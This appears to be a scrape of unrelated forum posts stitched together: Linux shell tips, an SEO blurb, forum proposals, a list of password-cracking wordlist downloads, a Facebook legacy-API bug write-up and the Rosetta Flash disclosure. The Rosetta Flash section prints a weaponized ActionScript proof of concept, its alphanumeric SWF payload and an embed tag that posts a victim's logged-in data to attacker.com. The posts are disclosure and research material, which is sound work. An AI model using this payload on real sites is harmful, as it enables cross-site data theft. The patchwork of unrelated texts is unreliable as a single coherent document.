'top' - 'ranger' is a nice console file manager for vi fans - Use 'apt-file' to see which package provides that file you're missing - 'dict' is a commandline dictionary - Learn to use 'find' and 'locate' to look for files - Compile your own version of 'screen' from the git sources. Most versions have a slow scrolling on a vertical split or even no vertical split at all * 'trash-cli' sends files to the trash instead of deleting them forever. Be very careful with 'rm' or maybe make a wrapper to avoid deleting '*' by accident (e.g. you want to type 'rm tmp*' but type 'rm tmp *') - 'file' gives information about a file, as image dimensions or text encoding - 'sort | uniq' to check for duplicate lines - 'echo start_backup.sh | at midnight' starts a command at the specified time - Pipe any command over 'column -t' to nicely align the columns * Google 'magic sysrq' to bring a Linux machine back from the dead - 'diff --side-by-side fileA.txt fileB.txt | pager' to see a nice diff * 'j.py' http://tiny.cc/62qjow remembers your most used folders and is an incredible substitute to browse directories by name instead of 'cd' - 'dropbox_uploader.sh' http://tiny.cc/o2qjow is a fantastic solution to upload by commandline via Dropbox's API if you can't use the official client - learn to use 'pushd' to save time navigating folders (j.py is better though) - if you liked the 'psgrep' alias, check 'pgrep' as it is far more powerful * never run 'chmod o+x * -R', capitalize the X to avoid executable files. If you want _only_ executable folders: 'find . -type d -exec chmod g+x {} \;' - 'xargs' gets its input from a pipe and runs some command for each argument * run jobs in parallel easily: 'ls *.png | parallel -j4 convert {} {.}.jpg' - grep has a '-c' switch that counts occurences. Don't pipe grep to 'wc -l'. NETWORKING - Don't know where to start? SMB is usually better than NFS for most cases. - If you use 'sshfs_mount' and suffer from disconnects, use '-o reconnect,workaround=truncate:rename' - 'python -m SimpleHTTPServer 8080' or 'python3 -mhttp.server localhost 8080' shares all the files in the current folder over HTTP. - 'ssh -R 12345:localhost:22 server.com "sleep 1000; exit"' forwards server.com's port 12345 to your local ssh port, even if you machine is not externally visible on the net. Now you can 'ssh localhost -p 12345' from server.com and you will log into your machine. 'sleep' avoids getting kicked out from server.com for inactivity * Read on 'ssh-agent' to strenghten your ssh connections using private keys, while avoiding typing passwords every time you ssh. - 'socat TCP4-LISTEN:1234,fork TCP4:192.168.1.1:22' forwards your port 1234 to another machine's port 22. Very useful for quick NAT redirection. - Some tools to monitor network connections and bandwith: 'lsof -i' monitors network connections in real time 'iftop' shows bandwith usage per *connection* 'nethogs' shows the bandwith usage per *process* * Use this trick on .ssh/config to directly access 'host2' which is on a private network, and must be accessed by ssh-ing into 'host1' first Host host2 ProxyCommand ssh -T host1 'nc %h %p' HostName host2 * Pipe a compressed file over ssh to avoid creating large temporary .tgz files 'tar cz folder/ | ssh server "tar xz"' or even better, use 'rsync' * ssmtp can use a Gmail account as SMTP and send emails from the command line. 'echo "Hello, User!" | mail user@domain.com' ## Thanks to Adam Ziaja. Configure your /etc/ssmtp/ssmtp.conf: root=***E-MAIL*** mailhub=smtp.gmail.com:587 rewriteDomain= hostname=smtp.gmail.com:587 UseSTARTTLS=YES UseTLS=YES AuthUser=***E-MAIL*** AuthPass=***PASSWORD*** AuthMethod=LOGIN FromLineOverride=YES -~- (CC) by-nc, Carlos Fenollosa <carlos.fenollosa@gmail.com> Retrieved from http://cfenollosa.com/misc/tricks.txt Last modified: Fri Feb 28 07:18:39 CET 2014 Sursa: http://cfenollosa.com/misc/tricks.txt

[h=2]An Exhaustive List of Google's Ranking Factors[/h] More than 1.1 billion people use Google search each month to make 114 billion searches. According to comScore, Google holds 67.6% of the U.S. search engine market share. This means that marketers looking to rank highly in organic search have to worry a great deal about what Google is looking for. With all the talk about optimizing content for search engines, you'd think we'd know by now exactly what Google's ranking algorithm considers when crawling pages on the internet. But we don't, and we can't -- mainly because Google has never publicly listed all of the factors they take into account. What Google has confirmed is that they use about 200 ranking signals when determining organic search page rankings. There are domain factors, page-level factors, site-level factors, backlink factors, user interaction, special algorithm rules, social signals, brand signals, on-site web spam factors, off-page web spam factors ... Whew! That's quite a list. How are we supposed to remember all of those? Thanks to Single Grain and Backlinko, we don't have to. They've scoured the internet to find all of the mention of Google ranking factors and created an all-inclusive infographic listing and categorizing 200 factors that make up Google's ranking algorithm. Check out their exhaustive guide below, and make sure to save it as a reference for your future SEO needs -- just remember that the inclusion and importance of these factors could change over time. Sursa: An Exhaustive List of Google's Ranking Factors - Prismatic

Ar fi doua categorii: 1. Lucruri gratuite: wordlist-uri, proxy-uri etc, lucruri "free" 2. Lucruri premium: conturi Steam, licente originale etc, lucruri "premium" Astfel, am putea face o categorie "Free stuff" care sa contina lucrurile utile si o sugbategorie "Premium staff" la care sa aiba acces doar userii cu peste 100 de posturi. Pareri?

[h=3]Wordlist Downloads[/h]HashKiller HashKiller AIO InsidePro APassCracker Openwall ftp.ox.ac.uk GDataOnline Cerias.Purdue Outpost9 VulnerabilityAssessment PacketStormSecurity ai.uga.edu-moby cotse1 cotse2 VXChaos Wikipedia-wordlist-Sraveau CrackLib-words SkullSecurity Rapidshare-Wordlist.rar Megaupload-birthdates.rar Megaupload-default-001.rar Megaupload-BIG-WPA-LIST-1.rar Megaupload-BIG-WPA-LIST-2.rar Megaupload-BIG-WPA-LIST-3.rar WPA-PSK-WORDLIST-40-MB-rar WPA-PSK-WORDLIST-2-107-MB-rar Article7 Rapidshare-Bender-ILLIST Rohitab Naxxatoe-dict-total-new-unsorted DiabloHorn-wordlists-sorted Bright-Shadows MIT.edu/~ecprice NeutronSite ArtofHacking CS.Princeton textfiles-suzybatari2 labs.mininova-wordmatch BellSouthpwp Doz.org.uk ics.uci.edu/~kay inf.unideb.hu/~jeszy openDS sslmit.unibo.it/~dsmiraglio informatik.uni-leipzig-vn_words.zip cis.hut.fi Wordlist.sf.cz john.cs.olemiss.edu/~sbs Void.Cyberpunk CoyoteCult andre.facadecomputer aurora.rg.iupui.edu/~schadow cs.bilkent.edu.tr/~ccelik broncgeeks.billings.k12.mt.us/vlong IHTeam Leetupload-Word Lists Offensive-Security WPA Rainbow Tables Password List depositfiles/1z1ipsqi3 MD5Decrypter/Passwords depositfiles/qdcs7nv7x ftp.fu-berlin.de Rapidshare.com/Wordlist.rar Rapidshare.com/Password.zip Megaupload/V0X4Y9NE Megaupload/0UAUNNGT Megaupload/1UA8QMCN md5.Hamaney/happybirthdaytoeq.txt sites.Google.com/ReusableSec Megaupload.com/SNK18CU0 Hotfile.com/Wordlists-20031009-iso.zip Rapidshare.com/Wordlist_do_h4tinho.zip Rapidshare.com/pass50.rar Skullsecurity.org/fbdata.torrent Uber.7z freqsort_dictionary.txt SXDictionaries.zip Hackerzlair Circlemud Sursa: Password Cracker | MD5 Cracker | Wordlist Download: Wordlist Downloads

Ati invatat o prostie si va tineti de ea. Mai bine pune-i sa rezolve o ecuatie sau un challenge.

Salut, Am vazut ca la Offtopic si mai ales in categoria Suff Tools sunt oferite gratuit diverse lucruri: conturi steam, VPN-uri, proxy-uri, licente si multe alte lucruri. Eu consider ca rolul categoriei Stuff tools este pentru gruparea programelor care nu se incadreaza in celelalte categorii: Programe Hack sau Programe securitate. Spre exemplu, programe de scris DVD-uri, convertit fisiere media sau oricare altele. De aceea propun o noua categorie pentru astfel de lucruri care se posteaza momentan la Stuff Tools. Primul nume care imi vine in minte e "Giveaways", dar putem alege un alt nume: "Free stuff" sau mai stiu eu ce. Votati daca sunteti de acord cu aceasta idee, iar daca sunteti, spuneti-va si parerea in legatura cu numele categoriei.

Hacking Facebook’s Legacy API, Part 1: Making Calls on Behalf of Any User July 8th, 2014 Summary A misconfigured endpoint allowed legacy REST API calls to be made on behalf of any Facebook user using only their user ID, which could be obtained from their profile or through the Graph API. Through REST API calls it was possible to view a user’s private messages, view their private notes and drafts, view their primary email address, update their status, post links to their timeline, post as them to their friends’ or public timelines, comment as them, delete their comments, publish a note as them, edit or delete any of their notes, create a photo album for them, upload a photo for them, tag them in a photo, and like and unlike content for them. All of this could be done without any interaction on the part of the user. An Interesting Request When starting a pentest I like to browse the target site with Burp open to get a feel for how the site is structured and to see the requests that the site is making. While browsing Facebook’s mobile site touch.facebook.com the following request caught my attention: The request was used to get your bookmarks. The request was interesting for three reasons: it was making an API call rather than a request to a dedicated endpoint for bookmarks; it was being made to a nonstandard API endpoint (i.e. not graph.facebook.com); the call was not Graph API or FQL. Doing a Google search for bookmarks.get turned up nothing. After some guessing I found that the method notes.get could also be called which returned your notes. Through some more searching I found that the endpoint was using Facebook’s deprecated REST API. The Facebook REST API The REST API was the predecessor of Facebook’s current Graph API. All of the documentation for the REST API has been removed from Facebook’s website but I was able to piece together some of it from the Wayback Machine. The REST API consists of methods that can be called by both Web applications (websites) and Desktop applications (JavaScript, mobile, and desktop applications). To make a call an application makes a GET or POST request to the REST API endpoint: POST https://api.facebook.com/restserver.php method={METHOD}&api_key={API_KEY}&session_key={SESSION_KEY}&...&sig={SIGNATURE} The request consists of the method being called, the application’s API key, a session key for a user, any parameters specific to the method, and a signature. The signature is a MD5 of all of the parameters and either the application’s secret, which is generated along with the API key when the application is registered with Facebook, or a session secret which is returned with a session key for a user. Web applications sign requests with their application secret. Requests signed with the application secret can make calls on behalf of users and to administrative methods. Desktop applications sign requests with a user’s session secret. Requests signed with a session secret are limited to making calls only for that user. This allows Desktop applications to make calls without exposing their application secret (which would have to be embedded in the application). An application obtains a session key for a user through an OAuth like authentication flow. Making Calls on Behalf of Any User From reading the documentation I knew that the actual REST API endpoint was https://api.facebook.com/restserver.php which meant that the https://touch.facebook.com/api/ endpoint had to be acting as a proxy. This raised the question: What Facebook application was it proxying requests as and what permissions did the application have? So far I had only called read methods. I attempted to call the publishing method users.setStatus: Calling this method updated the status on the account that I was logged in to. The update was displayed as being made via the Facebook Mobile application: This is an internal application used by the Facebook mobile website. Many internal Facebook applications are authorized and granted full permissions for every user. I was able to confirm that this was the case for the Facebook Mobile application by calling the methods friends.getAppUsers and fql.query. Calling friends.getAppUsers showed that the application was authorized for every friend on the account that I was logged in to. Calling fql.query allowed me to make a FQL query on the permissions table to lookup the permissions that the application had been granted. That I was being authenticated with the REST server as the account that I was logged in to meant that the proxy had to be generating a session key from my session and passing it with each request. This should have limited my ability to make calls only for that account, however, I noticed that in the documentation for many of the methods a session key is optional if the method is being called by a Web application (i.e. the request is being signed with the application’s secret). For these methods a uid parameter can be passed in place of a session key and set to the user ID of any user who has authorized the application and granted it the required permission for the method being called. Through calling users.setStatus I had been able to find out what Facebook application the proxy was using, but more importantly I had been able to confirm that the proxy would pass any parameters to the REST server that I included in a request. The question now was: Was the proxy signing requests with the Facebook Mobile application secret or my session secret? And if the proxy was using the application secret, would the REST server accept the uid parameter? Including the uid parameter in a request would not stop the proxy from also passing a session key and there was the possibility that the REST server would reject the request if both were passed. To test it I tried updating the status on a different account than the one I was logged in to by calling users.setStatus with the uid parameter set to user ID of that account. It worked. The status on the account whose user ID I passed was updated. Not only was the proxy signing requests with the application secret, but equally as important, when passed both a session key and the uid parameter the REST server would prioritize the uid. The documentation for the REST API states that the use of the uid parameter is limited to only those users who have authorized the application and granted it the required permission for the method being called. Since the Facebook Mobile application had been authorized and granted full permissions for every user, it was possible to use the uid parameter to make calls on behalf of any user using any of methods that supported it. The following methods can be called with the uid parameter: [TABLE] [TR] [TD]message.getThreadsInFolder[/TD] [TD]Returns all of a user’s messages.[/TD] [/TR] [TR] [TD]users.setStatus[/TD] [TD]Updates a user’s status.[/TD] [/TR] [TR] [TD]links.post[/TD] [TD]Posts a link to a user’s timeline.[/TD] [/TR] [TR] [TD]stream.publish[/TD] [TD]Publishes a post to a user’s timeline, friend’s timeline, page, group, or event.[/TD] [/TR] [TR] [TD]stream.addComment[/TD] [TD]Adds a comment to a post as a user.[/TD] [/TR] [TR] [TD]stream.removeComment[/TD] [TD]Removes a user’s comment from a post.[/TD] [/TR] [TR] [TD]notes.create[/TD] [TD]Creates a new note for a user.[/TD] [/TR] [TR] [TD]notes.edit[/TD] [TD]Edits a user’s note.[/TD] [/TR] [TR] [TD]notes.delete[/TD] [TD]Deletes a user’s note. This method is only supposed to delete notes that were created by the user through the application. However, in my tests, when called through the proxy it would delete any note.[/TD] [/TR] [TR] [TD]photos.createAlbum[/TD] [TD]Creates a new photo album for a user.[/TD] [/TR] [TR] [TD]photos.upload[/TD] [TD]Uploads a photo for a user.[/TD] [/TR] [TR] [TD]photos.addTag[/TD] [TD]Tags a user in a photo.[/TD] [/TR] [TR] [TD]stream.addLike[/TD] [TD]Likes content for a user.[/TD] [/TR] [TR] [TD]stream.removeLike[/TD] [TD]Unlikes content for a user.[/TD] [/TR] [/TABLE] Some methods that required a session key would return additional information when called through the proxy: [TABLE] [TR] [TD]users.getInfo[/TD] [TD]Returns information on a user. This method is only supposed to return the information on the user that is viewable to the calling user. However, when called through the proxy it would return the user’s primary email address regardless of the relationship between the user and the calling user.[/TD] [/TR] [TR] [TD]notes.get[/TD] [TD]Returns the notes for a user. This method is only supposed to return the notes for the user that are viewable to the calling user. However, when called through the proxy it would return all of the user’s notes, including their drafts.[/TD] [/TR] [/TABLE] In addition to the above user methods, the following administrative methods could be called through the proxy on behalf of the Facebook Mobile application: [TABLE] [TR] [TD]admin.getAppProperties[/TD] [TD]Gets the property values set for the application.[/TD] [/TR] [TR] [TD]admin.setAppProperties[/TD] [TD]Sets the property values for the application.[/TD] [/TR] [TR] [TD]admin.getRestrictionInfo[/TD] [TD]Returns the demographic restrictions for the application.[/TD] [/TR] [TR] [TD]admin.setRestrictionInfo[/TD] [TD]Sets the demographic restrictions for the application.[/TD] [/TR] [TR] [TD]admin.getBannedUsers[/TD] [TD]Returns a list of the users who have been banned from the application.[/TD] [/TR] [TR] [TD]admin.banUsers[/TD] [TD]Bans users from the application.[/TD] [/TR] [TR] [TD]admin.unbanUsers[/TD] [TD]Unbans users from the application.[/TD] [/TR] [TR] [TD]auth.revokeAuthorization[/TD] [TD]Revokes a user’s authorization of the application.[/TD] [/TR] [TR] [TD]auth.revokeExtendedPermission[/TD] [TD]Revokes a extended permission for a user of the application.[/TD] [/TR] [TR] [TD]notifications.sendEmail[/TD] [TD]Sends an email to a user as the application.[/TD] [/TR] [/TABLE] Disclosure I reported this issue to Facebook on April 23rd. A temporary fix was in place less than three hours after my report. A bounty of $20,000 was awarded by Facebook as part of their Bug Bounty Program. Timeline April 23, 4:42pm – Initial report sent April 23, 5:50pm – Request for clarification from Facebook April 23, 6:08pm – Clarification sent April 23, 6:49pm – Acknowledgment of issue by Facebook April 23, 7:38pm – Notification of temporary fix by Facebook April 23, 8:39pm – Confirmation of temporary fix sent April 29, 11:03pm – Notification of permanent fix by Facebook April 30, 12:58am – Confirmation of permanent fix sent April 30, 8:35pm – Bounty awarded Part 2 Preview If you looked at the REST API Authentication guide and thought that there might be vulnerabilities there, you would have been correct. Both the Web and Desktop authentication flows were vulnerable to CSRF issues that led to full account takeover. These issues were less serious than the API endpoint issue as they required a user to load links while logged in to their account. However, the links could be embedded in a web page or anywhere where images can be embedded. I have embedded one as an image in this blog post. Click to display it. If you’re logged in to Facebook I’d have full access to your account (the issue has been fixed). In an actual attack loading the link would not have required a click. Sursa: Hacking Facebook’s Legacy API, Part 1: Making Calls on Behalf of Any User

[h=1]CCR a decis: Legea "Big Brother", privind re?inerea ?i prelucrarea datelor personale, este neconstitu?ional?[/h] 08 Iul 2014 Curtea Constitu?ional? a României a decis ast?zi c? sunt neconstitu?ionale dispozi?iile Legii 82/2012 privind re?inerea datelor generate sau prelucrate de furnizorii de re?ele publice de comunica?ii electronice. "În urma deliber?rilor, Curtea Constitu?ional?, cu unanimitate de voturi, a admis excep?ia de neconstitu?ionalitate ?i a constatat c? dispozi?iile Legii nr.82/2012 privind re?inerea datelor generate sau prelucrate de furnizorii de re?ele publice de comunica?ii electronice ?i de furnizorii de servicii de comunica?ii electronice destinate publicului, precum ?i pentru modificarea ?i completarea Legii nr.506/2004 privind prelucrarea datelor cu caracter personal ?i protec?ia vie?ii private în sectorul comunica?iilor electronice sunt neconstitu?ionale. Cu unanimitate de voturi, a respins ca neîntemeiat? excep?ia de neconstitu?ionalitate a prevederilor art.152 din Codul de procedur? penal?", se arat? într-un comunicat al CCR. Curtea Constitu?ional? a luat în dezbatere în ?edin?a de mar?i excep?ia de neconstitu?ionalitate a dispozi?iilor Legii 82/2012 privind re?inerea datelor generate sau prelucrate de furnizorii de re?ele publice de comunica?ii electronice ?i de furnizorii de servicii de comunica?ii electronice destinate publicului, precum ?i pentru modificarea ?i completarea Legii nr.506/2004 privind prelucrarea datelor cu caracter personal ?i protec?ia vie?ii private în sectorul comunica?iilor electronice, precum ?i a dispozi?iilor art.152 din Codul de procedur? penal?. Decizia este definitiv? ?i general obligatorie ?i se comunic? celor dou? Camere ale Parlamentului, Guvernului ?i instan?elor care au sesizat Curtea Constitu?ional?. Argumenta?iile re?inute în motivarea solu?iilor pronun?ate de plenul Cur?ii Constitu?ionale vor fi prezentate în cuprinsul deciziilor, care se public? în Monitorul Oficial al României, Partea I. Sursa: Jurnalul National

Abusing JSONP with Rosetta Flash In this blog post I present Rosetta Flash, a tool for converting any SWF file to one composed of only alphanumeric characters in order to abuse JSONP endpoints, making a victim perform arbitrary requests to the domain with the vulnerable endpoint and exfiltrate potentially sensitive data, not limited to JSONP responses, to an attacker-controlled site. This is a CSRF bypassing Same Origin Policy. High profile Google domains (accounts.google.com, www., books., maps., etc.) and YouTube were vulnerable and have been recently fixed. Twitter, Instagram, Tumblr, Olark and eBay still have vulnerable JSONP endpoints at the time of writing this blog post (but Adobe pushed a fix in the latest Flash Player, see paragraph Mitigations and fix). Update: Kudos to Twitter Security for being so responsive over the weekend, engaged and interested. They have fixed this on their end too. But they admitted I ruined their weekend . This is a well known issue in the infosec community, but so far no public tools for generating arbitrary ASCII-only, or, even better, alphanum only, valid SWF files have been presented. This led websites owners and even big players in the industry to postpone any mitigation until a credible proof of concept was provided. So, that moment has come . I will present this vulnerability at Hack In The Box: Malaysia this October, and the Rosetta Flash technology will be featured in the next PoC||GTFO release. A CVE identifier has been assigned: CVE-2014-4671. Slides If you prefer, you can discover the beauty of Rosetta with a set of comprehensive slides. The attack scenario To better understand the attack scenario it is important to take into account the combination of three factors: With Flash, a SWF file can perform cookie-carrying GET and POST requests to the domain that hosts it, with no crossdomain.xml check. This is why allowing users to upload a SWF file on a sensitive domain is dangerous: by uploading a carefully crafted SWF, an attacker can make the victim perform requests that have side effects and exfiltrate sensitive data to an external, attacker-controlled, domain. JSONP, by design, allows an attacker to control the first bytes of the output of an endpoint by specifying the callback parameter in the request URL. Since most JSONP callbacks restrict the allowed charset to [a-zA-Z], _ and ., my tool focuses on this very restrictive charset, but it is general enough to work with different user-specified allowed charsets. SWF files can be embedded on an attacker-controlled domain using a Content-Type forcing <object> tag, and will be executed as Flash as long as the content looks like a valid Flash file. Rosetta Flash leverages zlib, Huffman encoding and ADLER32 checksum bruteforcing to convert any SWF file to another one composed of only alphanumeric characters, so that it can be passed as a JSONP callback and then reflected by the endpoint, effectively hosting the Flash file on the vulnerable domain. In the Rosetta Flash GitHub repository I provide ready-to-be-pasted, universal, weaponized full featured proofs of concept with ActionScript sources. But how does Rosetta Flash really work? A bit more on Rosetta Flash Rosetta Flash takes in input an ordinary binary SWF and returns an equivalent one compressed with zlib such that it is composed of alphanumeric characters only. Rosetta Flash uses ad-hoc Huffman encoders in order to map non-allowed bytes to allowed ones. Naturally, since we are mapping a wider charset to a more restrictive one, this is not a real compression, but an inflation: we are effectively using Huffman as a Rosetta stone. A Flash file can be either uncompressed (magic bytes FWS), zlib-compressed (magic bytes CWS) or LZMA-compressed (magic bytes ZWS). SWF header formats. Furthermore, Flash parsers are very liberal, and tend to ignore invalid fields. This is very good for us, because we can force it to the caracters we prefer. Flash parsers are liberal. zlib header hacking We need to make sure that the first two bytes of the zlib stream, which is basically a wrapper over DEFLATE, are OK. Here is how I did that: Hacking the first byte of the zlib header. Hacking the second byte of the zlib header. There aren't many allowed two-bytes sequences for CMF (Compression Method and flags) + CINFO (malleable) + FLG (including a check bit for CMF and FLG that has to match, preset dictionary (not present), compression level (ignored)). 0x68 0x43 = hC is allowed and Rosetta Flash always uses this particular sequence. ADLER32 checksum bruteforcing As you can see from the SWF header format, the checksum is the trailing part of the zlib stream included in the compressed SWF in output, so it also needs to be alphanumeric. Rosetta Flash appends bytes in a clever way to get an ADLER32 checksum of the original uncompressed SWF that is made of just [a-zA-Z0-9_\.] characters. An ADLER32 checksum is composed of two 4-bytes rolling sums, S1 and S2, concatenated: ADLER32 checksum. For our purposes, both S1 and S2 must have a byte representation that is allowed (i.e., all alphanumeric). The question is: how to find an allowed checksum by manipulating the original uncompressed SWF? Luckily, the SWF file format allows to append arbitrary bytes at the end of the original SWF file: they are ignored. This is gold for us. But what is a clever way to append bytes? I call my approach Sleds + Deltas technique: ADLER32 checksum manipulation. Basically, we can keep adding a high byte sled (of fe, because ff doesn't play so nicely with the Huffman part we'll roll out later) until there is a single byte we can add to make S1 modulo-overflow and become the minimum allowed byte representation, and then we add that delta. Now we have a valid S1, and we want to keep it fixed. So we add a NULL bytes sled until S2 modulo-overflows, and we also get a valid S2. Huffman magic Once we have an uncompressed SWF with an alphanumeric checksum and a valid alphanumeric zlib header, it's time to create dynamic Huffman codes that translate everything to [a-zA-Z0-9_\.] characters. This is currently done with a pretty raw but effective approach that has to be optimized in order to work effectively for larger files. Twist: also the representation of tables, to be embedded in the file, has to satisfy the same charset constraints. DEFLATE block format. We use two different hand-crafted Huffman encoders that make minimum effort in being efficient, but focus on byte alignment and offsets to get bytes to fall into the allowed charset. In order to reduce the inevitable inflation in size, repeat codes (code 16, mapped to 00) are used to produce shorter output which is still alphanumeric. For more detail, feel free to browse the source code in the Rosetta Flash GitHub repository. Here is how the output file looks, bit-by-bit: Rosetta Flash output bit-by-bit. Wrapping up the output file We now have everything we need: Success! Here is a completely alphanumeric SWF file! Please enjoy an alphanumeric rickroll, also with lyrics!! (might no longer work in latest Flash Player, see paragraph Mitigations and fix) An universal, weaponized proof of concept Here is an example written in ActionScript 2 (for the mtasc open source compiler): class X { static var app : X; function X(mc) { if (_root.url) { var r:LoadVars = new LoadVars(); r.onData = function(src:String) { if (_root.exfiltrate) { var w:LoadVars = new LoadVars(); w.x = src; w.sendAndLoad(_root.exfiltrate, w, "POST"); } } r.load(_root.url, r, "GET"); } } // entry point static function main(mc) { app = new X(mc); } } We compile it to an uncompressed SWF file, and feed it to Rosetta Flash. The alphanumeric output (wrapped, remove newlines) is: CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0ssG03 sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnnnnnnnnnU U5nnnnnn3Snn7YNqdIbeUUUfV13333333333333333s03sDTVqefXAxooooD0CiudIbEAt33 swwEpt0GDG0GtDDDtwwGGGGGsGDt33333www033333GfBDTHHHHUhHHHeRjHHHhHHUccUSsg SkKoE5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbe13333333333sUUe133 333Wf03sDTVqefXA8oT50CiudIbEAtwEpDDG033sDDGtwGDtwwDwttDDDGwtwG33wwGt0w33 333sG03sDDdFPhHHHbWqHxHjHZNAqFzAHZYqqEHeYAHlqzfJzYyHqQdzEzHVMvnAEYzEVHMH bBRrHyVQfDQflqzfHLTrHAqzfHIYqEqEmIVHaznQHzIIHDRRVEbYqItAzNyH7D0Up0IZUnnn nnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33swwEDt0GGDDDGptDtwwG0GGptDDww0G DtDDDGGDDGDDtDD33333s03GdFPXHLHAZZOXHrhwXHLhAwXHLHgBHHhHDEHXsSHoHwXHLXAw XHLxMZOXHWHwtHtHHHHLDUGhHxvwDHDxLdgbHHhHDEHXkKSHuHwXHLXAwXHLTMZOXHeHwtHt HHHHLDUGhHxvwTHDxLtDXmwTHLLDxLXAwXHLTMwlHtxHHHDxLlCvm7D0Up0IZUnnnnnnnnnn nnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtuwt3sG33ww0sDtDt0333GDw0w33333www033GdFP DHTLxXThnohHTXgotHdXHHHxXTlWf7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7C iudIbEAtwwWtD333wwG03www0GDGpt03wDDDGDDD33333s033GdFPhHHkoDHDHTLKwhHhzoD HDHTlOLHHhHxeHXWgHZHoXHTHNo4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7Ciu dIbEAt33wwE03GDDGwGGDDGDwGtwDtwDDGGDDtGDwwGw0GDDw0w33333www033GdFPHLRDXt hHHHLHqeeorHthHHHXDhtxHHHLravHQxQHHHOnHDHyMIuiCyIYEHWSsgHmHKcskHoXHLHwhH HvoXHLhAotHthHHHLXAoXHLxUvH1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SnnwWNq dIbe133333333333333333WfF03sTeqefXA888oooooooooooooooooooooooooooooooooo oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo oooooooooooooooooooooooooooooooo888888880Nj0h The attacker has to simply host this HTML page on his/her domain, together with a crossdomain.xml file in the root that allows external connections from victims, and make the victim load it. <object type="application/x-shockwave-flash" data="https://vulnerable.com/endpoint?callback=CWSMIKI0hCD0Up0IZUnnnnnnnn nnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0ssG03sDDtDDDt0333333Gt333swwv3ww wFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV133 33333333333333s03sDTVqefXAxooooD0CiudIbEAt33swwEpt0GDG0GtDDDtwwGGGGGsGDt3 3333www033333GfBDTHHHHUhHHHeRjHHHhHHUccUSsgSkKoE5D0Up0IZUnnnnnnnnnnnnnnnn nnnUU5nnnnnn3Snn7YNqdIbe13333333333sUUe133333Wf03sDTVqefXA8oT50CiudIbEAtw EpDDG033sDDGtwGDtwwDwttDDDGwtwG33wwGt0w33333sG03sDDdFPhHHHbWqHxHjHZNAqFzA HZYqqEHeYAHlqzfJzYyHqQdzEzHVMvnAEYzEVHMHbBRrHyVQfDQflqzfHLTrHAqzfHIYqEqEm IVHaznQHzIIHDRRVEbYqItAzNyH7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7Ciud IbEAt33swwEDt0GGDDDGptDtwwG0GGptDDww0GDtDDDGGDDGDDtDD33333s03GdFPXHLHAZZO XHrhwXHLhAwXHLHgBHHhHDEHXsSHoHwXHLXAwXHLxMZOXHWHwtHtHHHHLDUGhHxvwDHDxLdgb HHhHDEHXkKSHuHwXHLXAwXHLTMZOXHeHwtHtHHHHLDUGhHxvwTHDxLtDXmwTHLLDxLXAwXHLT MwlHtxHHHDxLlCvm7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtuwt3sG 33ww0sDtDt0333GDw0w33333www033GdFPDHTLxXThnohHTXgotHdXHHHxXTlWf7D0Up0IZUn nnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwwWtD333wwG03www0GDGpt03wDDDGDDD 33333s033GdFPhHHkoDHDHTLKwhHhzoDHDHTlOLHHhHxeHXWgHZHoXHTHNo4D0Up0IZUnnnnn nnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33wwE03GDDGwGGDDGDwGtwDtwDDGGDDtGDww Gw0GDDw0w33333www033GdFPHLRDXthHHHLHqeeorHthHHHXDhtxHHHLravHQxQHHHOnHDHyM IuiCyIYEHWSsgHmHKcskHoXHLHwhHHvoXHLhAotHthHHHLXAoXHLxUvH1D0Up0IZUnnnnnnnn nnnnnnnnnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooooooo ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo ooooooooooooooooooooooooooooooooooooooooooooooooooooooooo888888880Nj0h" style="display: none"> <param name="FlashVars" value="url=https://vulnerable.com/account/sensitive_content_logged_in &exfiltrate=http://attacker.com/log.php"> </object> This universal proof of concept accepts two parameters passed as FlashVars: url — the URL in the same domain of the vulnerable endpoint to which perform a GET request with the victim's cookie. exfiltrate — the attacker-controlled URL to which POST a x variable with the exfiltrated data. Mitigations and fix Mitigations by Adobe Because of the sensitivity of this vulnerability, I first disclosed it internally in Google, and then privately to Adobe PSIRT. A few days before releasing the code and publishing this blog post, I also notified Twitter, eBay, Tumblr and Instagram. Adobe confirmed they pushed a tentative fix in Flash Player 14 beta codename Lombard (version 14.0.0.125, release notes) and finalized the fix in today's release (version 14.0.0.145, released on July 8, 2014). In the security bulletin APSB14-17, Adobe mentions a stricter verification of the SWF file format: These updates include additional validation checks to ensure that Flash Player rejects malicious content from vulnerable JSONP callback APIs (CVE-2014-4671). Mitigations by website owners First of all, it is important to avoid using JSONP on sensitive domains, and if possible use a dedicated sandbox domain. A mitigation is to make endpoints return the HTTP header Content-Disposition: attachment; filename=f.txt, forcing a file download. This is enough for instructing Flash Player not to run the SWF starting from Adobe Flash 10.2. To be also protected from content sniffing attacks, prepend the reflected callback with /**/. This is exactly what Google, Facebook and GitHub are currently doing. Furthermore, to hinder this attack vector in Chrome and Opera you can also return the HTTP header X-Content-Type-Options: nosniff. If the JSONP endpoint returns a Content-Type which is not application/x-shockwave-flash (usually application/javascript or application/json), Flash Player will refuse to execute the SWF. Sursa: Abusing JSONP with Rosetta Flash

